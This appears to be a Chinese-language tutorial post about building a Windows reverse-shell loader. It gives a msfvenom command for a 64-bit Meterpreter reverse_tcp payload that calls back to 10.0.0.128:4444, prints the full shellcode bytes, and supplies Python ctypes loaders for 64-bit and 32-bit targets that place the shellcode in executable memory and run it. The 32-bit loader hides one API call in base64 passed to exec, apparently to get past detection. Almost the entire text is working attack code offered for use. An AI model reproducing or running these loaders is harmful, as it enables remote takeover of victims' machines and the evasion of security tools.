msf生成64位shellcode代码如下
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.128 LPORT=4444 -f py
32位我忘记了,自己去试
攻击端代码不变,请看上一篇
64位目标机代码如下
#!/usr/bin/python
import ctypes
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
buf += b"\x41\x50\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x51"
buf += b"\x56\x48\x8b\x52\x18\x48\x8b\x52\x20\x4d\x31\xc9"
buf += b"\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x48\x31\xc0"
buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
buf += b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
buf += b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48"
buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44"
buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
buf += b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0"
buf += b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
buf += b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49"
buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"
buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
buf += b"\x49\xbc\x02\x00\x01\xbc\x7f\x00\x00\x01\x41\x54"
buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00"
buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8"
buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20"
buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"
buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4"
buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba"
buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00"
buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6"
buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
buf += b"\xf0\xb5\xa2\x56\xff\xd5"
# 这里直接粘贴刚刚msf生成的shellcode
shellcode = bytearray(buf)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
32位目标机代码如下
#!/usr/bin/python
import ctypes
import base64
# 这里直接粘贴刚刚msf生成的shellcode
shellcode = bytearray(buf)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
'''
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))
'''
# 将上面那段代码进行base64编码,然后在加载器里解码exec执行
a = b'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=='
exec(base64.b64decode(a).decode())
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))